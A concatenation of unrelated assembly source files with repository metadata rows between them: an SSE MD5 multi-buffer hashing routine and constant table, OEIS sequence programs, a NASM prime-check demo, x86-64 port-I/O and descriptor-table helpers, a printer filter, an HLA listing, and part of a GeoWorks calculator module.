MD5_STEP MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 + 5*16, [TBL+51*16], rot44
MD5_STEP MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 +12*16, [TBL+52*16], rot41
MD5_STEP MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 + 3*16, [TBL+53*16], rot42
MD5_STEP MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 +10*16, [TBL+54*16], rot43
MD5_STEP MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 + 1*16, [TBL+55*16], rot44
MD5_STEP MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 + 8*16, [TBL+56*16], rot41
MD5_STEP MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 +15*16, [TBL+57*16], rot42
MD5_STEP MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 + 6*16, [TBL+58*16], rot43
MD5_STEP MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 +13*16, [TBL+59*16], rot44
MD5_STEP MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1 + 4*16, [TBL+60*16], rot41
MD5_STEP MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1 +11*16, [TBL+61*16], rot42
MD5_STEP MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1 + 2*16, [TBL+62*16], rot43
MD5_STEP MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1 + 9*16, [TBL+63*16], rot44
paddd A,[AA]
paddd B,[BB]
paddd C,[CC]
paddd D,[DD]
paddd A2,[AA2]
paddd B2,[BB2]
paddd C2,[CC2]
paddd D2,[DD2]
; write out digests
movdqu [arg1+0*16], A
movdqu [arg1+2*16], B
movdqu [arg1+4*16], C
movdqu [arg1+6*16], D
movdqu [arg1+1*16], A2
movdqu [arg1+3*16], B2
movdqu [arg1+5*16], C2
movdqu [arg1+7*16], D2
;; update input pointers
add inp0, IDX
add inp1, IDX
add inp2, IDX
add inp3, IDX
add inp4, IDX
add inp5, IDX
add inp6, IDX
add inp7, IDX
mov [arg1 + _data_ptr + 0*8], inp0
mov [arg1 + _data_ptr + 1*8], inp1
mov [arg1 + _data_ptr + 2*8], inp2
mov [arg1 + _data_ptr + 3*8], inp3
mov [arg1 + _data_ptr + 4*8], inp4
mov [arg1 + _data_ptr + 5*8], inp5
mov [arg1 + _data_ptr + 6*8], inp6
mov [arg1 + _data_ptr + 7*8], inp7
;;;;;;;;;;;;;;;;
;; Postamble
add rsp, STACK_SIZE
ret
section .data align=64
align 64
MD5_TABLE:
dd 0xd76aa478, 0xd76aa478, 0xd76aa478, 0xd76aa478
dd 0xe8c7b756, 0xe8c7b756, 0xe8c7b756, 0xe8c7b756
dd 0x242070db, 0x242070db, 0x242070db, 0x242070db
dd 0xc1bdceee, 0xc1bdceee, 0xc1bdceee, 0xc1bdceee
dd 0xf57c0faf, 0xf57c0faf, 0xf57c0faf, 0xf57c0faf
dd 0x4787c62a, 0x4787c62a, 0x4787c62a, 0x4787c62a
dd 0xa8304613, 0xa8304613, 0xa8304613, 0xa8304613
dd 0xfd469501, 0xfd469501, 0xfd469501, 0xfd469501
dd 0x698098d8, 0x698098d8, 0x698098d8, 0x698098d8
dd 0x8b44f7af, 0x8b44f7af, 0x8b44f7af, 0x8b44f7af
dd 0xffff5bb1, 0xffff5bb1, 0xffff5bb1, 0xffff5bb1
dd 0x895cd7be, 0x895cd7be, 0x895cd7be, 0x895cd7be
dd 0x6b901122, 0x6b901122, 0x6b901122, 0x6b901122
dd 0xfd987193, 0xfd987193, 0xfd987193, 0xfd987193
dd 0xa679438e, 0xa679438e, 0xa679438e, 0xa679438e
dd 0x49b40821, 0x49b40821, 0x49b40821, 0x49b40821
dd 0xf61e2562, 0xf61e2562, 0xf61e2562, 0xf61e2562
dd 0xc040b340, 0xc040b340, 0xc040b340, 0xc040b340
dd 0x265e5a51, 0x265e5a51, 0x265e5a51, 0x265e5a51
dd 0xe9b6c7aa, 0xe9b6c7aa, 0xe9b6c7aa, 0xe9b6c7aa
dd 0xd62f105d, 0xd62f105d, 0xd62f105d, 0xd62f105d
dd 0x02441453, 0x02441453, 0x02441453, 0x02441453
dd 0xd8a1e681, 0xd8a1e681, 0xd8a1e681, 0xd8a1e681
dd 0xe7d3fbc8, 0xe7d3fbc8, 0xe7d3fbc8, 0xe7d3fbc8
dd 0x21e1cde6, 0x21e1cde6, 0x21e1cde6, 0x21e1cde6
dd 0xc33707d6, 0xc33707d6, 0xc33707d6, 0xc33707d6
dd 0xf4d50d87, 0xf4d50d87, 0xf4d50d87, 0xf4d50d87
dd 0x455a14ed, 0x455a14ed, 0x455a14ed, 0x455a14ed
dd 0xa9e3e905, 0xa9e3e905, 0xa9e3e905, 0xa9e3e905
dd 0xfcefa3f8, 0xfcefa3f8, 0xfcefa3f8, 0xfcefa3f8
dd 0x676f02d9, 0x676f02d9, 0x676f02d9, 0x676f02d9
dd 0x8d2a4c8a, 0x8d2a4c8a, 0x8d2a4c8a, 0x8d2a4c8a
dd 0xfffa3942, 0xfffa3942, 0xfffa3942, 0xfffa3942
dd 0x8771f681, 0x8771f681, 0x8771f681, 0x8771f681
dd 0x6d9d6122, 0x6d9d6122, 0x6d9d6122, 0x6d9d6122
dd 0xfde5380c, 0xfde5380c, 0xfde5380c, 0xfde5380c
dd 0xa4beea44, 0xa4beea44, 0xa4beea44, 0xa4beea44
dd 0x4bdecfa9, 0x4bdecfa9, 0x4bdecfa9, 0x4bdecfa9
dd 0xf6bb4b60, 0xf6bb4b60, 0xf6bb4b60, 0xf6bb4b60
dd 0xbebfbc70, 0xbebfbc70, 0xbebfbc70, 0xbebfbc70
dd 0x289b7ec6, 0x289b7ec6, 0x289b7ec6, 0x289b7ec6
dd 0xeaa127fa, 0xeaa127fa, 0xeaa127fa, 0xeaa127fa
dd 0xd4ef3085, 0xd4ef3085, 0xd4ef3085, 0xd4ef3085
dd 0x04881d05, 0x04881d05, 0x04881d05, 0x04881d05
dd 0xd9d4d039, 0xd9d4d039, 0xd9d4d039, 0xd9d4d039
dd 0xe6db99e5, 0xe6db99e5, 0xe6db99e5, 0xe6db99e5
dd 0x1fa27cf8, 0x1fa27cf8, 0x1fa27cf8, 0x1fa27cf8
dd 0xc4ac5665, 0xc4ac5665, 0xc4ac5665, 0xc4ac5665
dd 0xf4292244, 0xf4292244, 0xf4292244, 0xf4292244
dd 0x432aff97, 0x432aff97, 0x432aff97, 0x432aff97
dd 0xab9423a7, 0xab9423a7, 0xab9423a7, 0xab9423a7
dd 0xfc93a039, 0xfc93a039, 0xfc93a039, 0xfc93a039
dd 0x655b59c3, 0x655b59c3, 0x655b59c3, 0x655b59c3
dd 0x8f0ccc92, 0x8f0ccc92, 0x8f0ccc92, 0x8f0ccc92
dd 0xffeff47d, 0xffeff47d, 0xffeff47d, 0xffeff47d
dd 0x85845dd1, 0x85845dd1, 0x85845dd1, 0x85845dd1
dd 0x6fa87e4f, 0x6fa87e4f, 0x6fa87e4f, 0x6fa87e4f
dd 0xfe2ce6e0, 0xfe2ce6e0, 0xfe2ce6e0, 0xfe2ce6e0
dd 0xa3014314, 0xa3014314, 0xa3014314, 0xa3014314
dd 0x4e0811a1, 0x4e0811a1, 0x4e0811a1, 0x4e0811a1
dd 0xf7537e82, 0xf7537e82, 0xf7537e82, 0xf7537e82
dd 0xbd3af235, 0xbd3af235, 0xbd3af235, 0xbd3af235
dd 0x2ad7d2bb, 0x2ad7d2bb, 0x2ad7d2bb, 0x2ad7d2bb
dd 0xeb86d391, 0xeb86d391, 0xeb86d391, 0xeb86d391
ONES:
dd 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff
| 41.259307 | 99 | 0.560001 |
[
"Apache-2.0"
] |
QuintinBecker/noobaa-core-1
|
src/native/third_party/isa-l_crypto/md5_mb/md5_mb_x4x2_sse.asm
| 32,141 |
Assembly
|
; A214848: First difference of A022846.
; 1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1
mov $4,2
mov $6,$0
lpb $4
mov $0,$6
sub $4,1
add $0,$4
sub $0,1
mov $3,$0
add $0,2
mov $2,$4
mul $3,$0
max $3,0
seq $3,2024 ; n appears n times; a(n) = floor(sqrt(2n) + 1/2).
mul $2,$3
add $1,$2
mov $5,$3
lpe
min $6,1
mul $6,$5
sub $1,$6
mov $0,$1
| 20.68 | 201 | 0.512573 |
[
"Apache-2.0"
] |
ckrause/cm
|
programs/oeis/214/A214848.asm
| 517 |
Assembly
|
; A277976: a(n) = n*(3*n + 23).
; 0,26,58,96,140,190,246,308,376,450,530,616,708,806,910,1020,1136,1258,1386,1520,1660,1806,1958,2116,2280,2450,2626,2808,2996,3190,3390,3596,3808,4026,4250,4480,4716,4958,5206,5460,5720,5986,6258,6536
mov $1,3
mul $1,$0
add $1,23
mul $1,$0
mov $0,$1
| 31.555556 | 201 | 0.690141 |
[
"Apache-2.0"
] |
ckrause/cm
|
programs/oeis/277/A277976.asm
| 284 |
Assembly
|
; A088580: a(n) = 1 + sigma(n).
; Submitted by Christian Krause
; 2,4,5,8,7,13,9,16,14,19,13,29,15,25,25,32,19,40,21,43,33,37,25,61,32,43,41,57,31,73,33,64,49,55,49,92,39,61,57,91,43,97,45,85,79,73,49,125,58,94,73,99,55,121,73,121,81,91,61,169,63,97,105,128,85,145,69,127,97,145,73,196,75,115,125,141,97,169,81,187,122,127,85,225,109,133,121,181,91,235,113,169,129,145,121,253,99,172,157,218
add $0,1
mov $2,$0
lpb $0
mov $3,$2
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
add $1,$3
lpe
mov $0,$1
add $0,2
| 29.111111 | 327 | 0.629771 |
[
"Apache-2.0"
] |
ckrause/loda-programs
|
oeis/088/A088580.asm
| 524 |
Assembly
|
%define concat(x,y) x %+ y
%assign limit 30
%define prime_bits 100b
%assign n 3
%rep limit
%assign current 1
%assign i 1
%rep n/2
%assign i i+1
%if n % i = 0
%assign current 0
%exitrep
%endif
%endrep
%xdefine prime_bits concat(current, prime_bits)
%assign n n+1
%endrep
section .data
is_prime: dd prime_bits
section .text
global _start
; this function checks if the number in rdi is a primer number
; returns 1 if it is, otherwise 0
is_prime_number:
mov eax, [is_prime]
mov rcx, rdi
sar rax, cl
and rax, 1
ret
; These functions are used to print a null terminated string
print_string:
push rdi
call string_length
pop rsi
mov rdx, rax
mov rax, 1
mov rdi, 1
syscall
ret
string_length:
xor rax, rax
.loop:
cmp byte [rdi+rax], 0
je .end
inc rax
jmp .loop
.end:
ret
; These functions are used to print an unsigned int
print_uint:
mov rax, rdi
mov rdi, rsp
push 0
dec rdi
sub rsp, 16
mov r8, 10
.loop:
xor rdx, rdx
div r8
or dl, 0x30
dec rdi
mov [rdi], dl
test rax, rax
jnz .loop
call print_string
add rsp, 24
.end:
ret
_start:
mov rdi,11d
call is_prime_number
mov rdi, rax
call print_uint
mov rax, 60 ; use exit system call to shut down correctly
xor rdi, rdi
syscall
| 15.866667 | 69 | 0.604342 |
[
"MIT"
] |
GeertArien/low-level-programming
|
chapter_05/prime.asm
| 1,428 |
Assembly
|
; Assembly code emitted by HLA compiler
; Version 2.16 build 4413 (prototype)
; HLA compiler written by Randall Hyde
; NASM compatible output
bits 32
%define ExceptionPtr__hla_ [dword fs:0]
global QuitMain__hla_
global DfltExHndlr__hla_
global _HLAMain
global HWexcept__hla_
global start
section .text code align=16
extern STDIN_FLUSHINPUT
extern STDOUT_PUTI16
extern STDIN_GETI8
extern STDOUT_NEWLN
extern DefaultExceptionHandler__hla_
extern abstract__hla_
extern STDOUT_PUTI8
extern HardwareException__hla_
extern BuildExcepts__hla_
extern STDOUT_PUTS
extern STDIN_GETI16
extern Raise__hla_
extern shortDfltExcept__hla_
section .text
;/* HWexcept__hla_ gets called when Windows raises the exception. */
; procedure HWexcept__hla_
HWexcept__hla_:
jmp HardwareException__hla_
;HWexcept__hla_ endp
; procedure DfltExHndlr__hla_
DfltExHndlr__hla_:
jmp DefaultExceptionHandler__hla_
;DfltExHndlr__hla_ endp
; procedure _HLAMain
_HLAMain:
nop
; procedure start
start:
;start endp
call BuildExcepts__hla_
; push dword 0
db 06ah ;
db 00h ;
; push ebp
db 055h ;
; push ebp
db 055h ;
; lea ebp, [esp+4]
db 08dh ;
db 06ch ;
db 024h ;
db 04h ;
; push strict dword str__hla_1890
db 068h ;
dd str__hla_1890
call STDOUT_PUTS
call STDIN_GETI8
; mov [a__hla_1885], al
db 0a2h ;
dd (a__hla_1885+0)
call STDOUT_NEWLN
; push strict dword str__hla_1891
db 068h ;
dd str__hla_1891
call STDOUT_PUTS
; push dword 0
db 06ah ;
db 00h ;
; push eax
db 050h ;
; mov al, [a__hla_1885]
db 0a0h ;
dd (a__hla_1885+0)
; mov [esp+4], al
db 088h ;
db 044h ;
db 024h ;
db 04h ;
; pop eax
db 058h ;
call STDOUT_PUTI8
call STDIN_FLUSHINPUT
call STDOUT_NEWLN
; push strict dword str__hla_1892
db 068h ;
dd str__hla_1892
call STDOUT_PUTS
call STDIN_GETI16
; mov [b__hla_1886], ax
dw 0a366h
dd (b__hla_1886+0)
call STDOUT_NEWLN
; push strict dword str__hla_1891
db 068h ;
dd str__hla_1891
call STDOUT_PUTS
; push word 0
dw 06a66h
db 00h ;
; push word [b__hla_1886]
db 066h ; size prefix
db 0ffh ;
db 035h ;
dd b__hla_1886
call STDOUT_PUTI16
QuitMain__hla_:
; push dword 0
db 06ah ;
db 00h ;
; call [__imp__ExitProcess@4]
db 0ffh ;
db 015h ;
dd __imp__ExitProcess@4
;_HLAMain endp
section .text
align (4)
len__hla_1890 dd 017h
dd 017h
str__hla_1890:
db "int 8 bit (-128..127): "
db 0
align (4)
len__hla_1891 dd 08h
dd 08h
str__hla_1891:
db "result: "
db 0
db 0
db 0
db 0
align (4)
len__hla_1892 dd 01eh
dd 01eh
str__hla_1892:
db "int 16 bit (-32 768..32 767): "
db 0
db 0
section .data data align=16
extern MainPgmCoroutine__hla_
extern __imp__MessageBoxA@16
extern __imp__ExitProcess@4
align (4)
a__hla_1885 times 1 db 0
b__hla_1886 times 2 db 0
| 20.014423 | 68 | 0.492914 |
[
"Unlicense"
] |
hirohito-protagonist/hla-learn-adventure
|
src/flash-input.asm
| 4,163 |
Assembly
|
; set all menu items to a given status
include win1_mac_oli
include win1_keys_wwork
section utility
xdef xwm_all
;+++
; set all menu items to a given status
;
; Entry Exit
; d0.w application window nr
; d1.b new item status
; a4 wwork
;
; no errors
;---
xwm_all subr a3
xjsr xwm_awadr ; get address of appl. subwindow
move.w wwa_ncol(a3),d0
mulu wwa_nrow(a3),d0
move.l wwa_mstt(a3),a3 ; menu status area
bra.s lpe
lp move.b d1,(a3)+
lpe dbra d0,lp
moveq #0,d0
subend
end
| 21.6875 | 72 | 0.5 |
[
"MIT"
] |
olifink/qspread
|
src/util/oli/wm/all.asm
| 694 |
Assembly
|
; RTF to ProPrinter filter 06/11/93 O.Fink
;
include win1_spread_printer_mac
section prog
data 4096
printer ProPrinter
rtf_cmds prtcmd line
prtcmd page
prtcmd smal
prtcmd ql
prtcmd lett
prtcmd draf
prtcmd init
prtend
cde_line dc.w 1
dc.b 10
cde_page dc.w 1
dc.b 12
cde_ql dc.w 4
dc.b 27,'a',0
cde_init dc.w 2
dc.b 27,'@'
cde_smal dc.w 1
dc.b 15
cde_lett dc.w 3
dc.b 27,'x',1
cde_draf dc.w 3
dc.b 27,'x',0
nop
end
| 18.972973 | 74 | 0.440171 |
[
"MIT"
] |
olifink/qspread
|
src/spread/printer/proprint.asm
| 702 |
Assembly
|
; A254142: a(n) = (9*n+10)*binomial(n+9,9)/10.
; 1,19,154,814,3289,11011,32032,83512,199342,442442,923780,1830764,3468374,6317234,11113784,18958808,31461815,50930165,80613390,125014890,190285095,284712285,419329560,608658960,871616460,1232604516,1722822024,2381824984,3259374844,4417615444,5933623696,7902383632,10440238237,13688878567,17819935042,23040241510,29597848709,37788870119,47965249904,60543549704,76014858458,94955937230,118041719180,146059293380,179923510130,220694354790,269596246920,328039431720,397643641395,480264215145,578020878006,693329390754,828936295539,987956994849,1173917414824,1390799517856,1643090943832,1935839074312,2274709829392,2666051522992,3116964118840,3635374246504,4230116354464,4911020395424,5689006457849,6576186777083,7585975579370,8733207232670,10034263199345,11507208307595,13171936880960,15050329288280,17166419500230,19546574262930,22219684524180,25217369773596,28574195984334,32327907871194,36519676207704,41194360973304,46400791130991,52192061865757,58625850144862,65764749492442,73676624903167,82434988852645,92119399396024,102815881380784,114617371835044,127624190628844,141944537542808,157695016916360,175001191086260,193998163865660,214831195354160,237656349410480,262641175161365,289965423963215,319821803276690,352416768959190
lpb $0
mov $2,$0
sub $0,1
seq $2,56003 ; A second-order recursive sequence.
add $1,$2
lpe
add $1,1
mov $0,$1
| 116.25 | 1,229 | 0.877419 |
[
"Apache-2.0"
] |
ckrause/cm
|
programs/oeis/254/A254142.asm
| 1,395 |
Assembly
|
; A025701: Index of 4^n within sequence of numbers of form 3^i*4^j.
; 1,3,6,10,16,23,31,40,51,63,76,90,106,123,141,160,181,203,226,250,276,303,331,361,392,424,457,492,528,565,603,643,684,726,769,814,860,907,955,1005,1056,1108,1161,1216,1272,1329,1388,1448,1509,1571,1635,1700,1766
mov $16,$0
mov $18,$0
add $18,1
lpb $18,1
clr $0,16
mov $0,$16
sub $18,1
sub $0,$18
mov $13,$0
mov $15,$0
add $15,1
lpb $15,1
mov $0,$13
sub $15,1
sub $0,$15
mov $9,$0
mov $11,2
lpb $11,1
mov $0,$9
sub $11,1
add $0,$11
sub $0,1
mul $0,6
div $0,23
mov $1,$0
mov $12,$11
lpb $12,1
mov $10,$1
sub $12,1
lpe
lpe
lpb $9,1
mov $9,0
sub $10,$1
lpe
mov $1,$10
add $1,1
add $14,$1
lpe
add $17,$14
lpe
mov $1,$17
| 18.282609 | 212 | 0.520809 |
[
"Apache-2.0"
] |
karttu/loda
|
programs/oeis/025/A025701.asm
| 841 |
Assembly
|
section .text
bits 64
global out_8
global out_16
global out_32
global in_8
global in_16
global in_32
global read_msr
global read_cr8
global write_cr8
global write_msr
global cpuid
global flush_gdt
global flush_idt
global cmpxchg_32
global xinc_32
global cli
global sti
global read_cr3
global write_cr3
global flush_tlb
global hlt
global flush_tss
flush_tss:
mov ax, di
ltr ax
ret
hlt:
hlt
ret
flush_tlb:
mov rax, cr3
mov cr3, rax
ret
read_cr3:
mov rax, cr3
ret
write_cr3:
mov cr3, rdi
ret
read_cr8:
mov rax, cr8
ret
write_cr8:
mov cr8, rdi
ret
cli:
cli
ret
sti:
sti
ret
out_32:
mov rdx,rdi
mov rax,rsi
out dx,eax
nop
nop
nop
ret
out_16:
mov rdx,rdi
mov rax,rsi
out dx,ax
nop
nop
nop
ret
out_8:
mov rdx,rdi
mov rax,rsi
out dx,al
nop
nop
nop
ret
in_8:
mov rdx,rdi
xor rax,rax
in al,dx
nop
nop
nop
ret
in_16:
mov rdx,rdi
xor rax,rax
in ax,dx
nop
nop
nop
ret
in_32:
mov rdx,rdi
xor rax,rax
in eax,dx
nop
nop
nop
ret
read_msr:
; preserve rdx
push rdx
mov ecx, dword [rdi]
rdmsr
mov dword [rdi], ecx
mov dword [rsi], edx
pop r11
mov dword [r11], eax
ret
write_msr:
mov ecx, dword [rdi]
mov eax, dword [rdx]
mov edx, dword [rsi]
wrmsr
ret
cpuid:
push rbp
mov rbp,rsp
; preserve rbx,rcx,rdx
push rbx
push rcx
push rdx
; cpuid parameters eax,ecx
mov eax, dword [rdi]
mov ecx, dword [rdx]
cpuid
; write results back to memory
mov dword [rdi], eax
mov dword [rsi], ebx
pop r11
mov dword [r11], ecx
pop r11
mov dword [r11], edx
pop rbx
mov rsp,rbp
pop rbp
ret
flush_gdt:
push rbp
mov rbp, rsp
lgdt [rdi]
;reload cs
push rdx ; data_slct : ss
push rbp ; rsp
pushfq
push rsi ; cs
mov rax, .reload
push rax ;rip
iretq
.reload:
mov es,rdx
mov fs,rdx
mov gs,rdx
mov ds,rdx
pop rbp
ret
flush_idt:
lidt [rdi]
ret
; ============================
cmpxchg_32:
mov eax, esi; eax = test_node_compare
lock cmpxchg dword [rdi], edx ; edx = val, rdi = ptr to dst
ret
; ============================
xinc_32:
lock xadd dword [rdi], esi ; [rdi] = [rdi] + esi, esi = old [rdi]
xor rax, rax
mov eax, esi
ret
| 9.960199 | 65 | 0.708791 |
[
"MIT"
] |
mohammad-yazdani/curros
|
src/cpu.asm
| 2,002 |
Assembly
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: bigcalcProcess.asm
AUTHOR: Christian Puscasiu, Feb 27, 1992
ROUTINES:
Name Description
---- -----------
INT BigCalcProcessCheckForWorksheets Will enable or disable the option
to have worksheets in the Customize menu.
In case the worksheets are on they will be
switched of if the .ini file wants to not
display them
INT BigCalcProcessLocalize Handle localizing stuff based on system
settings
INT BigCalcProcessSetEngineOffset sets the math engine
INT BigCalcProcessBringUpAllDescriptions brings up the descriptions of
the worksheets
INT BigCalcProcessDisplayLineOnPaperTape displays a line on the
papertape
INT BigCalcProcessSetUsable sets the object that's passed in bx:si
usable
INT BigCalcProcessSetNotUsable sets the object in bx:si not usable
INT BigCalcProcessMoveButtonsUp moves C/CE and <- button up when small
configuration of the calculator is
requested
INT BigCalcProcessMoveButtonsDown moves C/CE and <- button down when
small configuration is left
INT BigCalcProcessPreFloatDup utility function for proper fp
calculation
INT BigCalcProcessConvertToUpper makes the e into E in scientific
notation
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 2/27/92 Initial revision
DESCRIPTION:
Implements the BigCalcProcessClass
$Id: bigcalcProcess.asm,v 1.1 97/04/04 14:38:23 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
udata segment
restoringFromState byte (FALSE)
udata ends
idata segment
extensionState ExtensionType mask EXT_MATH
calculatorMode CalculatorMode CM_INFIX
inverse BooleanByte BB_FALSE
idata ends
ProcessCode segment
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessOpenApplication
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: initializes the stack
CALLED BY: opening thread
PASS: *ds:si = BigCalcProcessClass object
ds:di = BigCalcProcessClass instance data
ds:bx = BigCalcProcessClass object (same as *ds:si)
ax = message #
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 3/ 3/92 Initial version
andres 10/ 7/96 Made separate handler for PENELOPE
version
andres 10/26/96 Don't need to check for worksheets in
DOVE
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BigCalcProcessOpenApplication method dynamic BigCalcProcessClass,
MSG_GEN_PROCESS_OPEN_APPLICATION
uses ax, cx, dx, bp
.enter
;
; Only check .INI flag for worksheets if not restoring from state
;
test cx, mask AAF_RESTORING_FROM_STATE
jnz doLocalization
call BigCalcProcessCheckForAvailableFeatures
doLocalization:
call BigCalcProcessLocalize
;
; let the right things happen automatically
;
mov di, offset BigCalcProcessClass
call ObjCallSuperNoLock
;
; set the default engine
;
call BigCalcProcessSetEngineOffset
;
; get me a nice chunck of Memory for my floating point stack
;
mov ax, FP_STACK_LENGTH
mov bl, FLOAT_STACK_WRAP
call FloatInit
call Float0
;
; get a handle for the operator stack
; Use clear all to initialize instance data and set the various
; operation state bits
;
mov bx, handle BigCalcInfixEngine
mov si, offset BigCalcInfixEngine
clr di
mov ax, MSG_CE_CLEAR_ALL
call ObjMessage
;;; call SetConvertCurrencyMenuItems ; set exchange rate menu items.
cmp ss:[restoringFromState], TRUE
je done
mov bx, handle OptionsMenu
mov si, offset OptionsMenu
clr di
mov ax, MSG_META_LOAD_OPTIONS
call ObjMessage
call BigCalcProcessBringUpAllDescriptions
done:
.leave
ret
BigCalcProcessOpenApplication endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessCheckForAvailableFeatures
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Make available various features based upon .INI settings
CALLED BY: BigCalcProcessOpenApplication
PASS: nothing
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
- check for paper roll option
- check for worksheets option
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 12/10/92 Initial version
andres 10/29/96 Don't need this for DOVE
Don 2/7/99 Tweaked for GPC
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
configureString char "bigcalc", 0
worksheetString char "worksheets", 0
paperrollString char "papertape", 0
BigCalcProcessCheckForAvailableFeatures proc near
uses ax,bx,cx,dx,si,di,bp,ds,es
.enter
;
; Read the worksheets value from the .INI file.
; Default behavior is that worksheets are available
;
segmov ds, cs, cx
mov si, offset configureString ;ds:si <- category
mov dx, offset paperrollString ;cx:dx <- key
mov ax, FALSE
call InitFileReadBoolean
push ax
mov dx, offset worksheetString ;cx:dx <- key
mov ax, TRUE
call InitFileReadBoolean
tst ax
jnz checkPaperRoll
;
; Turn off both the options UI and the actual worksheets
;
mov bx, handle WorksheetsGroup
mov si, offset WorksheetsGroup
call BigCalcProcessSetNotUsable
mov ax, MSG_BC_PROCESS_CHANGE_WORKSHEETS_STATE
call GeodeGetProcessHandle
mov cx, FALSE
mov di, mask MF_CALL
call ObjMessage
;
; OK, now do the same for the paper roll (aka paper tape)
; Default behavior is that the paper roll is *not* available
;
checkPaperRoll:
pop ax ; restore .INI setting
tst ax
jz done
;
; Turn on both the options UI and the actual paper roll
;
mov bx, handle PaperRollGroup
mov si, offset PaperRollGroup
call BigCalcProcessSetUsable
mov ax, MSG_BC_PROCESS_CHANGE_PAPER_ROLL_STATE
call GeodeGetProcessHandle
mov cx, TRUE
mov di, mask MF_CALL
call ObjMessage
done:
.leave
ret
BigCalcProcessCheckForAvailableFeatures endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessLocalize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle localizing stuff based on system settings
CALLED BY: BigCalcProcessOpenApplication()
PASS: none
RETURN: none
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 6/16/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BigCalcProcessLocalize proc near
uses ax,bx,cx,dx,si,di,bp,ds,es
.enter
;
; Get the numeric format and see if it is what we expect
;
call LocalGetNumericFormat ;cx <- decimal point
;dx <- list separator
;segmov ds, dgroup, ax
GetResourceSegmentNS dgroup, ds
SBCS< mov ds:[listSeparator], dl
DBCS< mov ds:[listSeparator], dx
cmp cx, '.' ;U.S. default?
je done
;
; The decimal separator is different. The ATTR_GEN_TRIGGER_ACTION_DATA
; for the "." key is the data for MSG_META_KBD_CHAR, in the order:
; cx = character value
; dl = CharFlags
; dh = ShiftState
; bp low = ToggleState
; bp high = scan code
; We unnecessarily use the same registers here because they are handy.
;
clr bp
push bp, cx ;<- NULL, char
mov dx, mask CF_FIRST_PRESS
push bp ;<- bp.low, bp.high
push dx ;<- CharFlags, ShiftState
push cx ;<- char value
mov dx, sp
sub sp, (size AddVarDataParams)
mov bp, sp ;ss:bp <- AddVarDataParams
movdw ss:[bp].AVDP_data, ssdx ;ptr to data
mov ss:[bp].AVDP_dataSize, 3*(size word)
mov ss:[bp].AVDP_dataType, ATTR_GEN_TRIGGER_ACTION_DATA
mov ax, MSG_META_ADD_VAR_DATA
call callPointTrigger
add sp, (size AddVarDataParams)+3*(size word)
;
; Set the moniker to the same character, which is on the stack
;
movdw cxdx, sssp ;cx:dx <- ptr to text
